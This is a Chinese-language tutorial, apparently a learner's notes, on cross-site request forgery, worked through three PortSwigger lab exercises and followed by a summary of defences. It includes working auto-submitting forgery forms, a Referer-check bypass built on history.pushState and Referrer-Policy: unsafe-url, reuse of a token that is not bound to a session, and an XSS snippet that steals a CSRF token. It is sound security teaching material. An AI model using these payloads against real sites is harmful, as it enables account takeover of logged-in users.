云计算百科
云计算领域专业知识百科平台

CSRF 攻防实战:从原理到绕过,一篇掌握跨站请求伪造

CSRF 跨站请求伪造完全实战手册

学习平台:PortSwigger Web Security Academy 完成日期:Day 11 前置知识:已完成 XSS 基础与进阶(Day 9-10)

目录

  • 什么是 CSRF
  • CSRF 与 XSS 的核心区别
  • 实验室 1:无防御的 CSRF
  • 实验室 2:Referer 验证失效
  • 实验室 3:Token 未绑定会话
  • CSRF 防御方案总结
  • 核心收获

  • 一、什么是 CSRF

    1.1 定义

    CSRF(Cross-Site Request Forgery,跨站请求伪造) 是一种攻击者诱导已登录用户在不知情的情况下,以其身份执行非预期操作的攻击方式。

    1.2 核心原理

    ┌─────────────────────────────────────────────────────────────┐
    │ 用户登录银行网站 A │
    │ Cookie: session=xxx(浏览器自动保存) │
    └─────────────────────────────────────────────────────────────┘


    ┌─────────────────────────────────────────────────────────────┐
    │ 用户访问攻击者控制的网站 B(钓鱼邮件/恶意广告) │
    │ 网站 B 中隐藏了一个自动提交的表单: │
    │ <form action="https://银行A.com/转账" method="POST"> │
    │ <input name="to" value="黑客账号"> │
    │ <input name="amount" value="10000"> │
    │ </form> │
    │ <script>document.forms[0].submit();</script> │
    └─────────────────────────────────────────────────────────────┘


    ┌─────────────────────────────────────────────────────────────┐
    │ 浏览器自动带上银行 A 的 Cookie 发送请求 │
    │ 银行 A 看到合法的 Session → 执行转账 │
    │ 用户完全不知情! │
    └─────────────────────────────────────────────────────────────┘

    1.3 为什么叫“跨站”?

    因为攻击代码托管在攻击者的网站(跨站),但利用的是目标网站(受害站点) 上用户的已登录状态。

    1.4 攻击成立的两个必要条件

    条件说明
    用户已登录目标网站 浏览器中保存了目标网站的 Session Cookie
    目标网站没有 CSRF 防御 没有 Token、SameSite Cookie 或 Referer 验证

    二、CSRF 与 XSS 的核心区别

    对比项CSRFXSS
    全称 Cross-Site Request Forgery Cross-Site Scripting
    攻击目标 利用用户已登录状态执行操作 在受害者浏览器执行恶意脚本
    是否需要用户已登录 ✅ 必须 ❌ 不一定
    能否读取 Cookie ❌ 不能 ✅ 可以(通过 document.cookie)
    攻击代码位置 攻击者控制的第三方网站 目标网站本身的页面中
    用户交互要求 访问攻击者网页即可(零操作) 访问含恶意脚本的页面
    浏览器行为 自动带上目标站 Cookie 发请求 执行注入的 JavaScript
    典型危害 转账、改密码、改邮箱 窃取 Cookie、键盘记录、钓鱼
    防御方法 CSRF Token、SameSite Cookie 输出编码、CSP、HttpOnly
    关系 XSS 可以绕过 CSRF Token 防御

    2.1 一句话区分

    • CSRF:黑客"借用"你的身份去干坏事(你不知情,浏览器自动帮忙)
    • XSS:黑客"注入"恶意代码到你的页面里执行(代码在目标站运行)

    2.2 XSS 如何绕过 CSRF Token?

    如果目标网站同时存在 XSS 漏洞 和 CSRF Token 防御:

    <script>
    // XSS 读取页面上的 CSRF Token
    var token = document.getElementsByName('csrf')[0].value;

    // 用获取到的 Token 构造合法请求
    fetch('/change-email', {
    method: 'POST',
    body: 'email=hacked@evil.com&csrf=' + token
    });
    </script>

    结论:XSS 的危害比 CSRF 更大,因为 XSS 可以读取页面上的 Token,从而绕过 CSRF 的所有防御。

    三、实验室 1:无防御的 CSRF

    3.1 攻击目的

    理解最基础的 CSRF 攻击:目标网站没有任何防御,攻击者可以直接构造恶意请求让受害者执行。

    3.2 攻击思路

  • 登录目标网站,找到"修改邮箱"功能
  • 正常修改一次,观察请求方式(GET/POST)和参数
  • 构造包含恶意参数的 URL 或自动提交表单
  • 诱骗已登录的受害者访问 → 邮箱被篡改
  • 3.3 实施步骤

    Step 1:访问实验室并登录

    访问地址: https://portswigger.net/web-security/csrf/lab-no-defenses

    在这里插入图片描述

    Step 2:进入“我的账户”页面

    点击页面顶部的 “我的账户”(My account)。

    在这里插入图片描述

    Step 3:正常修改邮箱,观察请求

    在邮箱输入框输入新邮箱(如 test@example.com),点击 “更新邮件”。

    关键观察:按 F12 → Network 面板,查看请求详情。

    在这里插入图片描述

    Step 4:构造攻击代码

    根据抓包结果,构造自动提交的表单:

    <form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@evil.com">
    </form>
    <script>
    document.forms[0].submit();
    </script>

    Step 5:在 Exploit Server 中部署
  • 点击页面顶部的 “前往漏洞服务器”(Go to exploit server)
  • 在 Body 文本框中粘贴上面的代码
  • 点击 “商店”(Store)保存
  • 在这里插入图片描述

    Step 6:发送给受害者

    点击 “将利用权传递给受害者”(Deliver exploit to victim)。

    PortSwigger 会自动模拟一个已登录的受害者访问你的攻击页面,表单自动提交 → 受害者邮箱被篡改。

    Step 7:验证成功

    等待 3-5 秒,点击 “返回实验室”。

    在这里插入图片描述

    3.4 为什么能成功?

    原因说明
    无 Token 防御 请求中没有任何 CSRF Token
    无 Referer 验证 后端不检查请求来源
    无 SameSite Cookie Cookie 随跨站请求自动发送
    浏览器自动带 Cookie 受害者已登录,浏览器自动带上 Session Cookie

    四、实验室 2:Referer 验证失效的 CSRF

    4.1 攻击目的

    理解“有防御但防御逻辑有缺陷”的场景。目标网站检查了 Referer 头,但验证逻辑不严格,可以被绕过。

    4.2 攻击思路

  • 正常修改邮箱,抓包观察 Referer 头
  • 尝试修改 Referer 头,发现后端拒绝
  • 分析后端验证逻辑:可能只检查 Referer 中是否包含目标域名
  • 构造攻击页面,让 Referer 头"看起来合法"
  • 利用 history.pushState() 修改当前 URL,使 Referer 包含目标域名
  • 4.3 实施步骤

    Step 1:访问实验室并登录

    在这里插入图片描述

    Step 2:正常修改邮箱,抓包观察 Referer

    按 F12 → Network → 点击 change-email 请求 → 请求标头,找到 Referer 字段:

    Referer: https://0a0500c80393b5da802a03cf00eb00d5.web-security-academy.net/my-account?id=wiener

    在这里插入图片描述

    Step 3:分析验证逻辑

    根据 Solution 提示,后端验证逻辑类似:

    // ❌ 错误:只检查 Referer 字符串中是否包含目标域名
    $referer = $_SERVER['HTTP_REFERER'];
    if (strpos($referer, 'web-security-academy.net') !== false) {
    // 认为合法!
    changeEmail($_POST['email']);
    }

    漏洞:只要 Referer 中包含目标域名即可通过,不要求 Referer 必须来自目标域名本身。

    Step 4:构造绕过代码

    利用 history.pushState() 修改当前页面 URL(不刷新页面),使 Referer 头包含目标域名:

    <!– Head 部分添加 Referrer-Policy –>
    Referrer-Policy: unsafe-url

    <!– Body 部分 –>
    <form method="POST" action="https://0ad3009203b71ab680b00380004d00ca.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@evil.com">
    </form>
    <script>
    history.pushState("", "", "/?0ad3009203b71ab680b00380004d00ca.web-security-academy.net");
    document.forms[0].submit();
    </script>

    在这里插入图片描述

    Step 5:为什么需要 Referrer-Policy: unsafe-url?

    现代浏览器(Chrome、Firefox 等)默认会剥离 Referer 头中的查询字符串(安全策略)。

    策略Referer 行为
    默认(无策略) 跨站请求时 Referer 只保留域名,去掉查询字符串
    unsafe-url 保留完整 URL,包括查询字符串

    如果不加这个头,Referer 会变成:

    Referer: https://exploit-xxx.exploit-server.net/ ← 没有查询字符串,验证失败

    加了之后,Referer 变成:

    Referer: https://exploit-xxx.exploit-server.net/?0a0500c…web-security-academy.net

    后端 strpos 检查 → 发现包含目标域名 → 验证通过!

    Step 6:Store → Deliver to victim
  • 点击 “商店”(Store)保存
  • 点击 “将利用权传递给受害者”(Deliver exploit to victim)#### Step 7:验证成功
  • 等待 3-5 秒,返回实验室。

    在这里插入图片描述

    4.4 为什么能成功?

    原因说明
    Referer 验证逻辑缺陷 后端用 strpos 检查“是否包含”,而非严格匹配域名
    URL 构造绕过 让攻击页面的 URL 包含目标域名作为查询字符串
    浏览器安全策略绕过 Referrer-Policy: unsafe-url 强制保留完整 Referer
    受害者无感知 页面加载后 JS 自动执行,受害者完全不知情

    4.5 正确的 Referer 验证应该怎么做?

    // ✅ 正确:严格解析并匹配域名
    $referer = parse_url($_SERVER['HTTP_REFERER']);
    if ($referer['host'] === 'web-security-academy.net') {
    changeEmail($_POST['email']);
    }

    五、实验室 3:Token 未绑定会话的 CSRF

    5.1 攻击目的

    理解 CSRF Token 防御的关键缺陷:Token 虽然存在,但没有和用户会话绑定,导致攻击者可以用自己的 Token 攻击其他用户。

    5.2 攻击思路

  • 登录自己的账号,获取自己的 CSRF token
  • 分析 Token 是否全局通用(换账号是否还是同一个 Token)
  • 构造攻击页面,使用自己的 Token + 受害者的 Session
  • 诱骗受害者访问 → 后端验证 Token 存在但不验证归属 → 攻击成功
  • 5.3 实施步骤

    Step 1:访问实验室并登录

    在这里插入图片描述

    Step 2:获取自己的 CSRF Token

    进入"我的账户"页面,按 F12 → 查看源码,找到表单中的隐藏字段:

    <form method="POST" action="/my-account/change-email">
    <input required type="email" name="email" value="wiener@normal-user.net">
    <input required type="hidden" name="csrf" value="27rOOffDeqA7g84qnRrhwRrBUY1w6k6t">
    <button type="submit">Update email</button>
    </form>

    记下 csrf 的值:CWBNqHO5I0r4m83MduToFZ58sgP7SFoG

    在这里插入图片描述

    Step 3:验证 Token 是否全局通用

    换一个浏览器/隐私模式,用另一个账号(如 carlos)登录,查看其页面上的 Token。

    如果两个账号的 Token 相同 → 确认 Token 未绑定会话。

    在这里插入图片描述

    Step 4:构造攻击代码

    使用自己的 Token 构造攻击页面:

    <form method="POST" action="https://0a710081043ca1f11800f8a8100ba00bd.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="hacked@evil.com">
    <input type="hidden" name="csrf" value="CWBNqHO5I0r4m83MduToFZ58sgP7SFoG">
    </form>
    <script>
    document.forms[0].submit();
    </script>

    在这里插入图片描述

    Step 5:Store → Deliver to victim
  • 点击 “商店”(Store)保存
  • 点击 “将利用权传递给受害者”(Deliver exploit to victim)
  • PortSwigger 模拟受害者(carlos)访问攻击页面:

    • 请求携带 carlos 的 Session Cookie
    • 请求携带 wiener 的 CSRF Token
    • 后端验证:Token 存在且格式正确 → 通过!
    • 后端没有验证:这个 Token 是否属于 carlos?
    Step 6:验证成功

    等待 3-5 秒,返回实验室。

    在这里插入图片描述

    5.4 为什么能成功?

    原因说明
    Token 未绑定用户 所有用户共用同一个 Token,或 Token 不验证归属
    后端验证逻辑缺陷 只检查 Token 是否存在/格式正确,不检查 Token 是否属于当前 Session
    攻击者获取自己的 Token 合法用户可以轻松获取自己的 Token
    跨用户复用 用 A 用户的 Token 攻击 B 用户

    5.5 正确的 Token 防御应该怎么做?

    session_start();

    // ✅ 正确:Token 和用户 Session 绑定
    if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }

    // 验证时检查 Token 是否属于当前 Session
    if ($_POST['csrf'] !== $_SESSION['csrf_token']) {
    die('Invalid CSRF token');
    }

    每个用户的 Token 都是独立生成且存储在 Session 中的,攻击者无法预测其他用户的 Token。


    六、CSRF 防御方案总结

    6.1 防御层级(从弱到强)

    防御层级方法效果绕过可能
    第一层 Referer 验证 ⚠️ 弱 验证逻辑缺陷可被绕过
    第二层 CSRF Token(未绑定 Session) ⚠️ 弱 Token 可复用
    第三层 CSRF Token(绑定 Session) ✅ 强 XSS 可绕过
    第四层 SameSite Cookie ✅ 强 需配合其他防御
    第五层 双重 Cookie + Token ✅ 很强 几乎无法绕过
    第六层 敏感操作二次确认 ✅ 很强 用户体验稍差

    6.2 各防御方案详解

    方案 1:CSRF Token(最常用)

    原理:每次请求附带一个随机生成的 Token,攻击者无法预测。

    正确实现:

    session_start();
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));

    // 表单中嵌入
    <input type="hidden" name="csrf" value="<?php echo $_SESSION['csrf_token']; ?>">

    // 提交时验证
    if ($_POST['csrf'] !== $_SESSION['csrf_token']) {
    die('Invalid token');
    }

    关键点:

    • Token 必须随机生成(不可预测)
    • Token 必须绑定用户 Session(不能全局通用)
    • Token 必须每次请求更新(或定期更新)
    方案 2:SameSite Cookie

    原理:设置 Cookie 的 SameSite 属性,控制 Cookie 在跨站请求中的发送行为。

    SameSite 值行为适用场景
    Strict 完全禁止跨站发送 Cookie 最高安全级别
    Lax 允许安全的跨站 GET 请求(如点击链接),禁止 POST 平衡安全与体验
    None 允许所有跨站请求发送 Cookie(需配合 Secure) 第三方登录等

    设置方法:

    setcookie('session', $value, [
    'samesite' => 'Strict',
    'secure' => true,
    'httponly' => true
    ]);

    方案 3:Referer 验证(辅助手段)

    原理:检查请求的来源页面是否合法。

    正确实现:

    $referer = parse_url($_SERVER['HTTP_REFERER']);
    if ($referer['host'] !== 'example.com') {
    die('Invalid referer');
    }

    注意:Referer 头可能被浏览器禁用或篡改,不能作为唯一防御手段。

    方案 4:双重 Cookie 验证

    原理:利用 Cookie 的天然同源策略,在请求中同时携带 Cookie 和 Token。

    1. 用户访问页面时,服务器设置 Cookie: csrf_token=random_value
    2. 前端 JS 读取 Cookie 中的 csrf_token
    3. 发送请求时,将 csrf_token 放入请求头或参数中
    4. 后端验证:请求中的 Token 是否等于 Cookie 中的 Token

    优点:不需要服务器存储 Token,纯前端实现。

    方案 5:敏感操作二次确认

    原理:对于转账、改密码等敏感操作,要求用户再次输入密码或验证码。

    修改邮箱 → 弹出确认框 → 要求输入当前密码 → 验证通过后才执行

    优点:即使 CSRF 攻击成功,也无法通过二次验证。

    6.3 防御方案选择建议

    场景推荐方案
    普通表单提交 CSRF Token + SameSite=Lax
    高安全性要求(银行、支付) CSRF Token + SameSite=Strict + 二次确认
    API 接口 Token 验证(JWT/ OAuth)+ CORS 白名单
    第三方登录 SameSite=None + Secure

    七、核心收获

    7.1 三个实验室对比

    实验室防御机制漏洞点绕过方法
    无防御 直接构造恶意请求
    Referer 失效 Referer 验证 验证逻辑不严格(strpos 检查"包含") history.pushState + Referrer-Policy: unsafe-url
    Token 未绑定 CSRF Token Token 未和用户 Session 绑定 用自己的 Token 攻击其他用户

    7.2 关键认知

  • CSRF 的本质:利用浏览器"自动带 Cookie"的特性,让受害者在不知情的情况下执行操作。

  • 防御的核心:让攻击者无法构造合法的请求。

    • Token 防御:攻击者无法预测 Token
    • SameSite 防御:攻击者无法让浏览器带上 Cookie
    • Referer 防御:攻击者无法伪造来源
  • XSS > CSRF:如果存在 XSS,所有 CSRF 防御都无效。因为 XSS 可以在目标页面内执行代码,直接读取 Token 或执行任意操作。

  • Referer 验证的坑:

    • ❌ 错误:strpos($referer, 'domain.com')(只检查是否包含)
    • ✅ 正确:parse_url($referer)['host'] === 'domain.com'(严格匹配域名)
  • Token 设计的坑:

    • ❌ 错误:全局通用 Token、硬编码 Token、可预测的 Token
    • ✅ 正确:每个用户独立、随机生成、绑定 Session、定期更新

  • 赞(0)
    未经允许不得转载:网硕互联帮助中心 » CSRF 攻防实战:从原理到绕过,一篇掌握跨站请求伪造
    分享到: 更多 (0)

    评论 抢沙发

    评论前必须登录!